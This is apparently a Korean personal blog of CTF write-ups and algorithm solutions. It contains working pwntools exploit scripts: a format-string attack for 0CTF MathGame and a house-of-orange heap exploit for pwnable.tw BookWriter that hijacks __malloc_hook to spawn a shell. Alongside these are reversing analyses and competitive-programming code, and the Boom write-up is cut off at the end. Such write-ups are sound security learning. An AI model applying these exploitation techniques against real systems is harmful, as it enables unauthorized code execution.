• 0CTF/TCTF 2018 Quals - MathGame

    /

    Reversing

    int v3; // [esp+22014h] [ebp-18h]
    int v4; // [esp+22018h] [ebp-14h]

    MEMORY[0xDEAD1000] = random_value();
    v4 = MEMORY[0xDEAD1000];
    MEMORY[0xDEAD1004] = random_value();
    v3 = MEMORY[0xDEAD1004];
    while ( 1 )
    {
    read(0, (void *)0xDEAD1008, 0x20u);
    if ( !MEMORY[0xDEAD1008] )
    break;
    dprintf(0x565FDFA0, 4, 0xDEAD1008);
    }
    result = MEMORY[0xDEAD1800];
    if ( MEMORY[0xDEAD1800] == v4 - v3 )
    {
    s = mmap(0, 0x1000u, 7, 34, -1, 0);
    memset(s, 0, 0x1000u);
    if ( !s )
    _exit(0);
    for ( buf = s; (char *)buf - (_BYTE *)s <= 95; ++buf )
    {
    read(MEMORY[0xDEAD1800] - (v4 - v3), buf, 4u);
    *buf ^= MEMORY[0xDEAD1800] - (v4 - v3);
    }
    result = ((int (*)(void))s)();
    }

    dprintf 함수에서 format string bug가 존재하지만, 출력 결과를 /dev/null (4)로 보내서 leak을 이용할 수 없었다. 0xDEAD1800에 v4-v3 값을 넣을 수 있다면 shellcode를 실행시킬 수 있다. 그리고 dprintf 호출 전에 esp를 0xDEAD1000로 바꾸고 호출이 끝나면, 다시 esp를 복구하는 어셈 코드가 박혀있다.

    if ( mmap((void *)0xDEAB0000, 0x22000u, 3, 34, -1, 0) != (void *)-559218688 )
    _exit(0);

    dprintf의 return 주소를 변경하여 shellcode를 입력받는 부분으로 강제로 이동하려 해도, 0xDEAB0000에서부터 0x22000 크기만큼 할당받아 사용하고 있어서 v3,v4 값을 불러올 때 memory access violation이 된다. 그래서 0xDEAD1000과 0xDEAD1004에 저장된 랜덤 값을 leak하여서 분기문을 우회하기로 하였다.


    Exploit

    dprintf 함수의 2번째 인자에 전달하는 값이 파일 디스크립터 넘버이므로, 이 값을 1로 바꾸면 dprintf의 출력 결과를 볼 수 있다. 따라서 format string bug를 통해 인자로 전달된 4를 1로 바꾸고 dprintf의 리턴 주소를 dprintf를 호출하는 곳으로 돌리면 원하는 곳을 leak할 수 있다. 그런데 무한 루프에 빠지게 되므로 4를 1로 바꾸고 리턴 주소를 조작하는 동시에, format string도 같이 변경해주어야 한다.

    //A, a, B, b, C, c 는 적절한 상수를 의미한다.
    p32(fd_ptr) + p32(ret_ptr) + p32(format_ptr + offset) + %Ac%a$n + %Bc%b$n + %Cc%c$n

    좀 더 구체적으로 설명하면, dprintf에서 사용하는 format은 대충 저런 형식이며 fd_ptr은 2번째 인자로 전달된 4가 저장된 곳, ret_ptr은 dprintf의 리턴 주소가 저장된 곳을 가리키고 있고 (format_ptr + offset)은 세번째 인자로 주어지는 format string에서 B를 가리키고 있다. 이제 실행 흐름이 어떻게 바뀌는지 알아보자.

    dprintf(0x565FDFA0, 4, p32(fd_ptr) + p32(ret_ptr) + p32(format_ptr + offset) + %Ac%a$n + %Bc%b$n + %Cc%c$n)
    -> return while loop

    dprintf(0x565FDFA0, 1, p32(fd_ptr) + p32(ret_ptr) + p32(format_ptr + offset) + %Ac%a$n + %Dc%b$n + %Cc%c$n)
    -> return dprintf (infinite loop)

    dprintf(0x565FDFA0, 1, p32(fd_ptr) + p32(ret_ptr) + p32(format_ptr + offset) + %Ac%a$n + %Dc%b$n + %Cc%c$n)
    -> return while loop

    처음 %Ac%a$n이 실행되면 fd를 1로 변경, %Bc%b$n이 실행되면 리턴 주소를 dprintf로 변경하여 인자 push 과정을 생략한 dprintf의 호출 주소로 이동하기 때문에 leak이 발생한다. 마지막으로 %Cc%c$n는 B를 D로 바꾸기 때문에 다시 한번 dprintf가 실행되면서 dprintf 리턴 주소를 무한 루프에서 빠져나가게 변경한다. 이제 무한 루프를 벗어나는 방법을 알았으니, 0xDEAD1000과 0xDEAD1004를 leak하고 두 값을 뺀 값을 0xDEAD1800에 넣어주면 된다.


    Exploit.py

    from pwn import *
    from time import sleep

    #s = process('subtractiono')
    s = remote('202.120.7.218',12321)

    ret = 0xDEAD0FEC
    fd_ptr = 0xDEAD0FF0
    fmt_data = 0xDEAD1008 + 0x20

    s.recv(1024)
    sleep(10)
    s.recv(1024)

    def write_data(p,data): # 2byte write
    payload = p32(p)+'%'+str(u16(data) - 4)+'c'+"%5$hn"
    if len(payload) > 0x20:
    print "error!!"
    s.send(payload.ljust(0x20,'\x00'))

    number_ptr = 0xdead1042
    fmt = p32(fd_ptr) + p32(ret) + p32(number_ptr)+'%'+str(0x101-12-0x2a)+'c'+"%13$hhn"
    fmt += '%'+str(160-1)+'c' + "%14$hhn" + '%'+str(0x3436 - 0x1a0)+'c' + '%15$hnaaaaa'
    assert len(fmt)%2 == 0

    for i in range(0,len(fmt),2):
    write_data(fmt_data+i, fmt[i:i+2])

    s.send('%4c%4c%08x%08x'.ljust(0x20,'a'))
    s.recvn(8)
    rand1 = int(s.recvn(8),16)
    rand2 = int(s.recvn(8),16)
    print hex(rand1)
    print hex(rand2)
    s.recv(1024)
    assert (rand1 - rand2) > 0
    r = rand1 - rand2

    write_data(0xdead17ff,'a'+chr(r&0xff))
    write_data(0xdead17ff+2,chr((r>>8)&0xff) +'a')
    write_data(0xdead17ff+3,chr((r>>16)&0xff) +'a')
    write_data(0xdead17ff+4,chr((r>>24)&0xff) +'a')
    s.send('\x00'*0x20)

    shellcode = ''
    shellcode += shellcraft.pushstr('/home/subtraction/flag')
    shellcode += shellcraft.open('esp', 0, 0)
    shellcode += shellcraft.read('eax', 'esp', 0x500)
    shellcode += shellcraft.write(1, 'esp', 0x500)
    shellcode = asm(shellcode)
    pad = (len(shellcode)%4)*'\x90'
    shellcode = pad + shellcode

    for i in range(0,len(shellcode),4):
    s.send(shellcode[i:i+4])

    for i in range(95-(len(shellcode)/4)):
    s.send('\x90'*4)
    s.interactive()

    format string의 길이가 0x20을 넘어가므로, %n을 통해 format string 인자를 구성해주었다.

  • BAEKJOON - 2294: 동전2

    /

    Source

    #include <iostream>
    #include <vector>
    #include <algorithm>
    using namespace std;

    int coins[1000001];
    int *temp_coins;
    int *current_coins;

    int main() {
    int n, k;
    cin >> n >> k;
    int* init_coins = new int[n];
    temp_coins = new int[1000001];
    current_coins = new int[1000001];

    for (int i = 0;i < n;i++) {
    cin >> init_coins[i];
    temp_coins[i] = init_coins[i];
    coins[init_coins[i]] = init_coins[i];
    }
    if (coins[k]) {
    cout << 1;
    return 0;
    }

    bool impossible = true;
    int current = 1;
    int cnt = n;
    int cnt2 = 0;
    while (!coins[k]) {
    for (int i = 0;i < n;i++) {
    for (int j = 0;j < cnt;j++) {
    int temp = init_coins[i] + temp_coins[j];
    if (temp > 10000 || temp>k || coins[temp]) {
    continue;
    }

    current_coins[cnt2++] = temp;
    coins[temp] = temp;
    impossible = false;
    }
    }

    if (impossible) {
    cout << -1;
    return 0;
    }
    current++;
    swap(temp_coins, current_coins);
    impossible = true;
    cnt = cnt2;
    cnt2 = 0;
    }

    cout << current;
    return 0;
    }

    동전1 문제와 달리 동전의 가치가 서로 배수 관계가 아니다. 그래서 그리디로 풀 수 없기 때문에 다른 방식으로 접근해보았다. 동전 2개를 더한거를 2개의 동전의 합이라고 생각하지 않고, 새로운 동전 1개라고 생각하고 새로운 동전을 만든다. 2개로 만들어진 동전에서 K가 있는지 확인하고 없으면, 다시 1개로 이루어진 동전을 더해서 동전 3개를 사용해서 만든 새로운 동전을 저장한다. 새로운 동전이 10000이나 K를 넘거나 이미 똑같은 가치가 존재하면 버리고, 모든 동전이 K보다 커지면 K를 만들 수 없는 경우이므로 -1을 출력하면 된다. DP 예제라는 것을 알고 시작해서 그런지 애매하게 DP를 사용하여 해결하였다.

  • HackingCamp 2018 - CrackMe

    /

    Reversing

    문제는 간단한 크랙미 형식의 문제로 올바른 key를 찾으면 된다.

    int main()
    {
    unsigned int v0; // et0@7
    int i; // [sp+18h] [bp-198h]@1
    int v3[100]; // [sp+1Ch] [bp-194h]@3

    for ( i = 0; i < 100; ++i )
    ++v3[i];
    for ( i = 1; i < 100; ++i )
    *(&i + i) += v3[i];
    v0 = __readeflags();
    __writeeflags(v0 | 0x100);
    sub_401340();
    *(_DWORD *)(i + 184) = &loc_401DF3;
    return 0;
    }

    main 함수에서 사용된 안티 디버깅 때문에 hex-ray로 디컴파일 했을 때 이상하게 나온다.

    .text:00401DA8                 push    offset loc_401DDF
    .text:00401DAD push eax
    .text:00401DAE mov ebx, eax
    .text:00401DB0 pop eax
    .text:00401DB1 push large dword ptr fs:0
    .text:00401DB8 mov large fs:0, esp
    .text:00401DBF mov eax, ebx
    .text:00401DC1 push ecx
    .text:00401DC2 mov ecx, eax
    .text:00401DC4 pop ecx
    .text:00401DC5 pushf
    .text:00401DC6 db 36h
    .text:00401DC6 or [esp+1B0h+var_1B0], 100h
    .text:00401DCE popf

    main함수의 어셈 코드를 보면 trap flag를 이용한 예외 기반 안티 디버깅이 있는 것을 확인할 수 있다. 따라서 프로그램이 실제 실행될 때는 0x401DDF로 이동하게 된다.

    77A40149   6A 00            PUSH 0x0
    77A4014B 51 PUSH ECX
    77A4014C E8 AFFD0000 CALL ntdll_12.ZwContinue

    그리고 ZwContinue 함수를 통해 0x401df3으로 이동한다.

    .text:00401E45                 mov     ecx, tls_value
    .text:00401E4B mov [ebp+var_1A0], ecx
    .text:00401E51 cmp [ebp+var_1A0], 1
    .text:00401E58 jz short loc_401E6E
    .text:00401E5A cmp [ebp+var_1A0], 2
    .text:00401E61 jz short loc_401E75
    .text:00401E63 cmp [ebp+var_1A0], 3
    .text:00401E6A jz short loc_401E7C
    .text:00401E6C jmp short loc_401E81
    .text:00401E6E ; ---------------------------------------------------------------------------
    .text:00401E6E call sub_401460
    .text:00401E73 jmp short loc_401E81
    .text:00401E75 ; ---------------------------------------------------------------------------
    .text:00401E75 call loc_401000
    .text:00401E7A jmp short loc_401E81
    .text:00401E7C ; ---------------------------------------------------------------------------
    .text:00401E7C call sub_401440

    위 코드는 0x401df3 이후에 실행되는 코드들이다. tls_value 변수는 tls 영역에서 GetLastError() 함수의 반환 값에 따라 1 또는 2로 설정되고 그 값에 따라 실행되는 함수가 다르다. 먼저 tls_value가 2일때 실행되는 함수는 알 수 없는 기계어 코드와 key를 검증하는 함수를 실행한다. 이 함수가 실행되기 전에 다른 곳에서 기계어 코드를 decrypt를 시켜주고 해당 함수가 실행되는 것 같다. tls_value가 1일때 실행되는 함수를 분석해보자.

    // If tls_value equal to 1, this function excute
    result = WaitForDebugEvent(&DebugEvent, 0xFFFFFFFF);
    if ( !result )
    break;
    if ( DebugEvent.dwDebugEventCode == 1 )
    {
    v18 = (char *)DebugEvent.u.Exception.ExceptionRecord.ExceptionAddress;
    v12 = DebugEvent.u.Exception.ExceptionRecord.ExceptionCode;
    if ( DebugEvent.u.Exception.ExceptionRecord.ExceptionCode == -1073741795 )
    {
    if ( v18 == off_416000 )
    {
    ReadProcessMemory(ProcessInformation.hProcess, v18 + 2, &Buffer, 0x6Cu, 0);
    for ( i = 0; i < 0x6C; ++i )
    *(&Buffer + i) ^= 0x37u;
    WriteProcessMemory(ProcessInformation.hProcess, v18 + 2, &Buffer, 0x6Cu, 0);
    Context.ContextFlags = 65543;
    GetThreadContext(ProcessInformation.hThread, &Context);
    Context.Eip += 2;
    SetThreadContext(ProcessInformation.hThread, &Context);
    }

    해당 함수에서는 프로세스를 fork 시켜서 자식 프로세스를 생성한 뒤 특정 메모리 영역을 xor로 decrypt 한다. 부모 프로세스에서 key를 입력받고 검증하고 루틴이 실행되지 않는걸로 보아서 tls_value는 자식 프로세스인지 부모 프로세스인지 구별해주는 역할을 하고 부모 프로세스에서 자식 프로세스의 코드를 decrypt 해주는 것 같다.

    .text:00401000 loc_401000:                             ; CODE XREF: main:loc_401E75p
    .text:00401000 push ebp
    .text:00401001 mov ebp, esp
    .text:00401003 sub esp, 80h
    .text:00401009 mov eax, ___security_cookie
    .text:0040100E xor eax, ebp
    .text:00401010 mov [ebp-4], eax
    .text:00401010 ; ---------------------------------------------------------------------------
    .text:00401013 byte_401013 db 8Dh, COh ; DATA XREF: .data:off_416000o

    위 함수가 자식 프로세스에서 실행되는 함수이며 0x401013에서 exception이 발생할 것이다. 그러면 부모 프로세스에서는 WaitForDebugEvent 함수와 Read,WriteProcessMemory 함수를 통해 0x401013+2 부터 0x401013+2+0x6c까지 0x37과 xor한다. 그리고 eip에 2를 더해 exception을 일으킨 8D, C0은 넘어간다. decrypt 해서 해당 코드를 보면 key를 입력받는 코드임을 확인할 수 있다. 그 다음은 입력한 key와 0x96를 xor한 뒤, 다시 0x004010E4에서 exception이 발생한다.

    else if ( v18 == *(&off_416000 + 2) )
    {
    ReadProcessMemory(ProcessInformation.hProcess, v18 - 13, &Buffer, 0xFu, 0);
    Buffer = 35;
    v26 = 0x90u;
    v25 = 0x90u;
    WriteProcessMemory(ProcessInformation.hProcess, v18 - 13, &Buffer, 0xFu, 0);
    Context.ContextFlags = 65543;
    GetThreadContext(ProcessInformation.hThread, &Context);
    v3 = GetCurrentProcess();
    ((void (__stdcall *)(HANDLE, signed int, int *, signed int, _DWORD))v13)(v3, 31, &v17, 4, 0);
    if ( v17 )
    Context.Eip -= 0x61;
    else
    Context.Eip += 3;
    SetThreadContext(ProcessInformation.hThread, &Context);
    }

    위는 해당 exception을 처리해주는 부분이다. WriteProcessMemory를 통해 기계어를 바꾸는 곳을 찾아가보면 처음에 key를 0x96과 xor시킨 부분에서 0x96을 0x23으로 바꿔주고 exception을 일으켰던 부분을 0x90(nop)으로 바꿔준다. 그리고 eip -= 0x61을 통해 xor 연산을 한번 더 진행한다.

    .text:004010E4 byte_4010E4     db 90h, 090h            ; CODE XREF: .text:004010CBj
    .text:004010E4 ; DATA XREF: .data:00416008o
    .text:004010E6 byte_4010E6 db 0CCh ; DATA XREF: sub_401460+EFo
    .text:004010E6 ; sub_401460+500o
    .text:004010E7 align 4
    .text:004010E8 lea eax, [ebp-68h]
    .text:004010EB push eax
    .text:004010EC call sub_4011D0
    .text:004010F1 jmp short loc_4010FF
    .text:004010F3 ; ---------------------------------------------------------------------------
    .text:004010F3 lea eax, [ebp-68h]
    .text:004010F6 push eax
    .text:004010F7 call sub_401AA0
    .text:004010FC add esp, 4

    그렇게 xor을 총 2번 거치고 0x4010e6에서 0xcc 때문에 다시 exception이 발생하는데 여기서는 간단하게 eip만 이동시켜서 sub_4010f3으로 이동한다. sub_4010f3에서는 key와 특정 값을 비교하는 루틴이 전부다. 해당 값들을 뽑아와서 (0x96 ^ 0x23)과 xor 시켜주면 flag를 얻을 수 있다.

  • Pwnable.tw - BookWriter

    /

    Reversing

    void __fastcall main(__int64 a1, char **a2, char **a3)
    {
    __int64 v3; // ST08_8@1
    const char *v4; // rdi@1
    __int64 v5; // rax@2

    setvbuf(stdout, 0LL, 2, 0LL);
    puts("Welcome to the BookWriter !");
    set_author();
    while ( 1 )
    {
    menu();
    LODWORD(v5) = int();
    switch ( v5 )
    {
    case 1LL:
    add((__int64)v4, 0LL);
    break;
    case 2LL:
    view((__int64)v4, 0LL);
    break;
    case 3LL:
    edit();
    break;
    case 4LL:
    infomation();
    break;
    case 5LL:
    exit(0);
    return;
    default:
    v4 = "Invalid choice";
    puts("Invalid choice");
    break;
    }
    }
    }

    프로그램은 매우 간단하다. 데이터를 쓸 수 있는 페이지를 추가하거나 조회, 수정할 수 있다. 추가된 페이지는 데이터 영역에 크기 정보와 같이 포인터 배열에 저장된다. 조금 특이한 점은 페이지를 삭제하는 기능이 없어서 할당한 페이지를 free할 수 없다.


    Vulnerability

    //add function
    for ( i = 0; ; ++i )
    {
    if ( i > 8 )
    return puts("You can't add new page anymore!");
    if ( !*(_QWORD *)&page[8 * i] )
    break;
    }

    취약점은 페이지를 추가하는 add 함수에서 발생한다. 페이지 주소가 저장되는 포인터 배열의 크기는 64byte이며, 8개의 페이지를 저장할 수 있다. 그런데 위의 for문에서 조건문을 잘못 사용하여 9개까지 페이지를 생성할 수 있게 되었다. 게다가 포인터 배열 뒤에 바로 페이지의 크기 정보를 저장하는 배열이 위치해서 1번째 페이지의 크기 정보를 힙 주소로 바꿔 heap overflow를 할 수 있다.


    Exploit

    v5 = malloc(v2);
    if ( !v5 )
    {
    puts("Error !");
    exit(0);
    }

    위의 말했듯이 free 함수가 사용되지 않는다.. 그래서 heap overflow로 top_chunk size를 크게 만든 뒤, house of force 공격을 이용할려 했지만 사이즈를 사용자로부터 받아오는 함수에서 atol 함수를 이용한다. atol 함수 사용으로 인해 32bit 이상의 값을 malloc에 전달할 수 없었다.(malloc에 음수를 전달할 수 있어야 house of force가 가능)

    heap overflow로 top_chunk size를 변조할 수 있는 상황에서 가능한 공격을 찾아보니 house of orange라는 기법이 있었다. 먼저 이 기법에 대해 간단히 설명하자면, malloc은 top_chunk가 부족할 때 sysmalloc을 호출하고 sysmalloc에서 brk를 통해 heap 영역을 늘리거나 mmap를 통해 할당하여 반환해준다. 후자는 요청한 크기가 100*1024를 넘을때 해당함. 중요한 점은 brk를 통해 heap 영역을 늘릴 때 원래의 top_chunk(old_top)은 malloc 내부에서 free된다.

    2706	              /* If possible, release the rest. */
    2707 if (old_size >= MINSIZE)
    2708 {
    2709 _int_free (av, old_top, 1);
    2710 }

    old_top이 free 되는 것은 확인할 수 있다.

    2391	  assert ((old_top == initial_top (av) && old_size == 0) ||
    2392 ((unsigned long) (old_size) >= MINSIZE &&
    2393 prev_inuse (old_top) &&
    2394 ((unsigned long) old_end & (pagesize - 1)) == 0));

    주의해야 할 점은 old_top + old_top size가 0x1000의 배수로 align되어 있어야 한다.


    Exploit.py

    import sys
    from pwn import *


    if len(sys.argv)>1:
    s = remote('chall.pwnable.tw',10304)

    else:
    s = process('/root/bookwriter')

    libc = ELF('/root/libc_64.so.6')
    s.recvuntil('Author :')
    s.send('/bin/sh;'.ljust(0x38,'\x00') + p64(0x101))

    pages_ptr = 0x00000000006020A0
    author_ptr = 0x0000000000602060
    puts_got = 0x0000000000601FA8

    def add(size, content):
    s.recvuntil('Your choice :')
    s.sendline('1')
    s.recv(1024)
    s.sendline(str(size))
    if size>0:
    s.recv(1024)
    s.send(content)

    def edit(idx, content):
    s.recvuntil('Your choice :')
    s.sendline('3')
    s.recv(1024)
    s.sendline(str(idx))
    s.recv(1024)
    s.send(content)

    add(0,'')
    for i in range(8):
    add(16, '12345678')


    # top_chunk size overwrite
    edit(0, ('a'*0x18 + p64(0x21))*8 + '\xff'*0x18 + p64(0x1001 - 0x120))

    # chunksize(old_top) == 0xee0
    # old_top freed and listed into unsorted bin
    edit(0, '\n')
    add(0x1010,'12345678')

    # By overwriting old_top's bk, pages[0] == unsorted_bin
    edit(0, 'b'*0x118+ p64(0xee1) + p64(pages_ptr-16)*2)
    edit(0,'\n')
    add(0xee0-16,'1234')

    # this malloc maybe return pages_ptr because unsorted_bin->bk == pages_ptr-16
    edit(0,'\n')
    add(0x100-16,p64(pages_ptr) + p64(puts_got))

    # libc_leak
    s.recvuntil('Your choice :')
    s.sendline('2')
    s.recv(1024)
    s.sendline('1')
    s.recvuntil('Content :\n')
    libc_base = u64(s.recvn(6) + '\x00\x00') - libc.symbols['puts']
    libc_malloc_hook = libc_base + libc.symbols['__malloc_hook']
    libc_system = libc_base + libc.symbols['system']
    log.info('libc_base : '+hex(libc_base))

    # malloc -> system
    edit(0,p64(pages_ptr) + p64(libc_malloc_hook))
    edit(1,p64(libc_system))
    edit(0,'\n')

    s.recvuntil('Your choice :')
    s.sendline('1')
    s.recv(1024)
    s.sendline(str(author_ptr))
    s.interactive()

    old_top을 free하고 unsorted bin 공격을 통해 unsorted bin list에 fake chunk를 추가할 수 있다. 나는 &page[0]-16을 free chunk로 인식하게 만들어서 malloc 호출 시 &page[0]을 리턴받아 공격하였다.

  • BAEKJOON - 1912: 연속합

    /

    Source

    #include <iostream>
    #include <vector>
    #include <algorithm>

    using namespace std;

    int main(){
    int N;
    cin>>N;

    vector<int> arr(N,0);
    for(int i=0;i<N;i++){
    cin>>arr[i];
    }

    int MAX = arr[0];
    for(int i=1;i<N;i++){
    if(arr[i-1]>0)
    arr[i] += arr[i-1];
    MAX = max(MAX,arr[i]);
    }
    cout<<MAX;
    }

    n0,n1,… nk 의 연속적인 숫자가 있다고 하면 맨 처음부터 시작해서 n0가 양수라면 n1에 더하고, n1이 양수면 n2에 더하는 식으로 동적 프로그래밍을 이용하여 해결할 수 있다. nk와 nk+1를 더할지 결정하는 건 nk 까지의 수들을 최적으로 연결했을 때 양수이면 더해야하기 때문이다. n0부터 시작해서 최적으로 연결되었을 때 값들을 저장시켜 나가면 최댓값을 구할 수 있다.

  • CODEGATE 2018 - 6051

    /

    Reversing

    __int64 __fastcall main(__int64 a1, char **a2, char **a3)
    {
    char flag[264]; // [sp+0h] [bp-118h]@1
    __int64 v5; // [sp+108h] [bp-10h]@1

    v5 = *MK_FP(__FS__, 40LL);
    memset(flag, 0, 0x100uLL);
    __printf_chk(1LL, "input : ", a3);
    fflush(stdout);
    flag[(read(0, flag, 0x100uLL) - 1)] = 0;
    if ( check(flag) )
    puts("correct");
    else
    puts("wrong");
    return 0LL;
    }

    flag를 입력하면 correct 혹은 wrong을 출력해주는 아주 간단한 프로그램이다. check 함수에서 진행되는 검사 루틴을 분석해보면

    1. 입력한 문자열을 2진수 문자열로 변환한다. 그 다음부터는 2진수 문자열을 숫자처럼 사용한다.
    2. ror 연산과 비슷하게 문자열을 1byte씩 오른쪽으로 회전시켜 다시 원래의 문자열로 돌아오기 전까지 모두 테이블에 추가한다.
    3. 테이블에 저장된 모든 2진수 문자열을 오름 차순으로 정렬하고 문자열의 마지막 문자를 하나씩 꺼내와서 하나의 2진수의 문자열을 만든다.

    def string_ror(result,i):
    return result[-i:] + result[:-i]

    def encrypt(mystr):
    result = ''
    for i in mystr:
    result += bin(ord(i))[2:].rjust(8,'0')

    bintable = []
    for i in range(len(result)):
    bintable.append(int(string_ror(result,i),2))

    bintable.sort()
    enc = ''
    for i in bintable:
    enc += bin(i)[-1]

    return enc

    if __name__ == '__main__':
    print encrypt('hello world')

    여기까지의 연산을 파이썬으로 표현하면 위와 같다. 마지막에는 압축 알고리즘을 통해 최종적으로 만들어진 2진수 문자열을 압축한 뒤, 특정 값과 비교한다.


    Decompress

    from ctypes import *

    clib = cdll.LoadLibrary('libc.so.6')
    final_table = [0x16,0xC5, ... ,0xC5,0xD4]
    SBOX = [0x63,0x7C, ... ,0xD0,0x7F]

    rand_table = []
    for i in range(460):
    rand_table.append(clib.rand()&0xff)

    decompress_bin = ''
    while final_table != []:
    cur = final_table.pop(0)
    if cur == 0x16:
    cur2 = final_table.pop(0)
    cur3 = final_table.pop(0)

    n = SBOX.index(cur2)
    decompress_bin += chr((cur3 + 0x30 - rand_table.pop(0))&0xff)*n
    else:
    decompress_bin += chr(cur + 0x30 - rand_table.pop(0))

    print decompress_bin

    압축 알고리즘은 간단하다. SBOX를 이용해 중복되는 데이터의 개수를 기록하는 방식으로 압축된다. 파이썬 스크립트를 통해 압축 해제하면 2진수 문자열을 구할 수 있는데, 이 2진수 문자열은 정렬된 문자열의 마지막 바이트라서 원래대로 돌리기 불가능해 보인다. 그런데 ror 연산으로 만들어진 문자열들의 마지막 바이트라는 점을 이용하면 원래의 문자열을 구할 수 있다. 예를 들어 압축 해제한 2진수 문자열이 ‘1111100’ 일때 원래의 문자열을 구해보자.


    Find plain text

    ******1      0*****1
    ******1 0*****1
    ******1 1*****1
    ******1 -> 1*****1
    ******1 1*****1
    ******0 1*****0
    ******0 1*****0

    오름 차순으로 정렬된 문자열이 저장된 테이블은 위와 같다. 우리는 각 요소의 마지막 비트만 알고 있지만 테이블의 모든 요소들은 ror 연산으로 만들어지기 때문에, 마지막 비트가 회전되어 첫 번째 비트로 간다. 따라서 마지막 비트들을 오름 차순으로 정렬하여 각 요소의 첫 번째 비트를 구할 수 있다.

    0*****1      01****1
    0*****1 11****1
    1*****1 10****1
    1*****1 -> 10****1
    1*****1 11****1
    1*****0 11****1
    1*****0 11****1

    역시 ror 연산을 통해 만들어진 원형 문자열이라는 점을 이용해, 우리가 위에서 구한 길이가 2인 원형 문자열을 다시 오름 차순으로 정렬하여 2번째 비트를 구할 수 있다. 이 방식을 반복하면 정렬된 2진수 문자열 테이블을 구할 수 있고, 그 중에는 flag가 있을 것이다.

    def string_ror(result,i):
    return result[-i:] + result[:-i]

    f = open('result.txt','w')
    rbin = '1111111...000000'
    rlist = [i for i in rbin]

    while len(rlist[0]) != len(rbin):
    rlist2 = rlist[:]
    rlist2.sort()

    for i in range(len(rlist2)):
    rlist[i] += rlist2[i][-1]

    for i in rlist:
    f.write(bintostr(i)+'\r\n')
    f.close()

    result.txt를 확인해보면 FLAG{w0w_w0w_w0w_s1mp13_str1n9_c0mpr3ss10n_1011110100011}를 발견할 수 있다.

  • CODEGATE 2018 - Boom

    /

    Reversing

    문제에서 준 파일은 rust라는 언어로 만들어진 프로그램이다. hex-ray로 디컴 파일된 소스를 확인해보았더니 c나 c++보다 좀 더 복잡하고 분석하기 까다로웠다. 사실 이 문제를 처음 풀때는 어떻게 접근해야 될 지 몰라서 처음부터 막 분석하기 시작해서 푸는데 좀 더 오래 걸렸던 것 같다.

    fmt_arguments(&a2[1], &aEnter_this);
    cprintf();
    std::process::exit::h24f524da56e24372();

    무작정 분석하다보면 flag를 출력하는 부분을 보게 될 거라고 생각해서 프로그램의 처음부터 그냥 분석했는데, flag를 찾지 못해서 print 함수의 레퍼런스를 찾아봤다. “Enter this” 라는 문자열을 출력하는 부분이 있었고, 이 문자열이 출력되기 위해서 여러 개의 조건들을 통과해야 하는 걸보니 flag 출력이 맞다고 확신했다.

    main 함수에서는 main::func1 함수를 실행시키고, 그 후부터는 입력값에 따라서 func2 ~ func7로 이동하였다. func1 ~ func7은 모두 입력을 받고 입력 값이 올바른지 확인후에 다른 함수로 분기하는 과정을 실행한다. 그래서 처음에는 func1 ~ func7에서 입력 값을 검사하는 루틴을 전부 분석하였는데 flag를 출력해주는 부분을 찾지 못했다. 알고보니 func1,func2,func4 ~ func6에서 입력 값이 올바르지 않을때에 func8을 실행하는데, func8 함수에서 실행하는 func11 함수에서 flag를 출력해주는 부분이 있었다. func1 ~ func7에서 입력값이 유효할 때 /tmp/files 에서 특정한 파일을 읽어 리스트에 저장하는데 이 값이 flag로 사용되었다. 그래서 flag를 알아내려면 입력값 검사 루틴을 무조건 분석해야한다.

    // condition 1
    LODWORD(v2) = LinkedList_len(rsi0);
    if ( v2 == 4 )
    {

    // condition 2
    v45 = 13 * v44 ^ 0x11;
    v46 = &v45;
    LODWORD(v3) = list_iter(&v38);
    v47 = v3;
    if ( core_cmp(&v46, &v47) & 1 )
    main::func9::h0a15ac6c05fddc27();

    flag를 출력 시켜주는 조건은 위와 같다. Linkedlist의 길이가 4이며 리스트에 값을 꺼내와서 특정 값과 비교한다. 그 값은 0x11, 0x1c, 0xb, 0x36 이였고 이 값들이 무엇을 의미하는지 알아보았다.

    // main::func1
    push_back(a2, 0x11, v21, v22, v23);
    v71 = 0;
    v57 = *(a1 + 16);
    v56 = *a1;
    v72 = 0;
    v59 = *(a2 + 16);
    v58 = *a2;
    v24 = main::func3::h70b687fbcc510fb0(&v56, &v58);
    v14 = core::ptr::drop_in_place::hadd5eb8b6bbe8550(v24, &v53);

    func1~func7에서 입력받은 값이 유효해 다른 함수로 분기할 때, 특정 값을 리스트에 push한다. 이 리스트가 flag를 검사할 때 사용되는 리스트였고 위에서 구한 값들이 어떤 함수인지 알아보니 각각 func1, func2, func7, func5 였다. 이 4개의 함수를 실행시키고 func4에서 잘못된 값을 입력해 func8로 넘어가면 된다.


    main::fucn1 -> main::func2

    std::io::stdio::Stdin::read_line::h0236420efe963fc6();
    core::ptr::drop_in_place::h6715ef653ddd4421(&v43, &v44);
    core::ptr::drop_in_place::h0c5d8ab0d3960ce8(&v44);
    LODWORD(v3) = alloc::string::String::pop::h2949ec2fec1fff2c(&v42);
    v74 = v3;
    v45 = v3;
    if ( core_strcmp(&v42, &v36) & 1 )
    {

    단순히 문자열을 입력받아 비교하는 연산이다. input : ‘Know what? It’s a new day~’

    main::func2 -> main::func7

    v18 = main::func10::hd8e1c12a44dfcdac(*(&v72 + i), 3LL);
    v19 = main::func10::hd8e1c12a44dfcdac(v18 ^ 0x62u, 5LL);
    v58 = main::func10::hd8e1c12a44dfcdac(v19 ^ 0x32u, 7LL);
    if ( i >= 7 )
    core::panicking::panic_bounds_check::hbb625994aed54df2();
    *(&v72 + i) = v58;
    if ( i >= 7 )
    core::panicking::panic_bounds_check::hbb625994aed54df2();
    if ( i >= 7 )
    core::panicking::panic_bounds_check::hbb625994aed54df2();
    *(&v72 + i) %= 47;

    func2에서는 7개의 정수를 입력받고 그 정수로 간단한 xor 연산을 거친 후에 문자열과 비교하여 func4,func5 혹은 func7로 이동한다.

    table = 'f7*zq5$ase0t6ui#^yd2owgb_n8pu4!k&vc@lrj19mx3h0:main.rs'
    def bitenc(a1,a2):
    v4 = 32 - a2
    v3 = 32 - a2
    return ((a1 << (v3 & 0x1F)) | ~(-1 << (v4 & 0x1F)) & (a1 >> (a2 & 0x1F)))&0xffffffff

    def enc(v):
    v1 = bitenc(v,3)
    v1 = bitenc(v1^0x62,5);
    v1 = bitenc(v1^0x32,7) % 47;
    return table[v1]

    key = 'pand0ra' # for going to func7
    cnt = 0
    for i in range(len(key)):
    for j in range(0x20,0x7f):
    if key[i] == enc(j):
    print j,
    break

    input : ‘57 93 38 92 50 86 93’

    main::func7 -> main::func5

    // condition 1
    LODWORD(v6) = len(&v78);
    if ( v6 != 25LL )
    main::func9::h0a15ac6c05fddc27();

    // condition 2
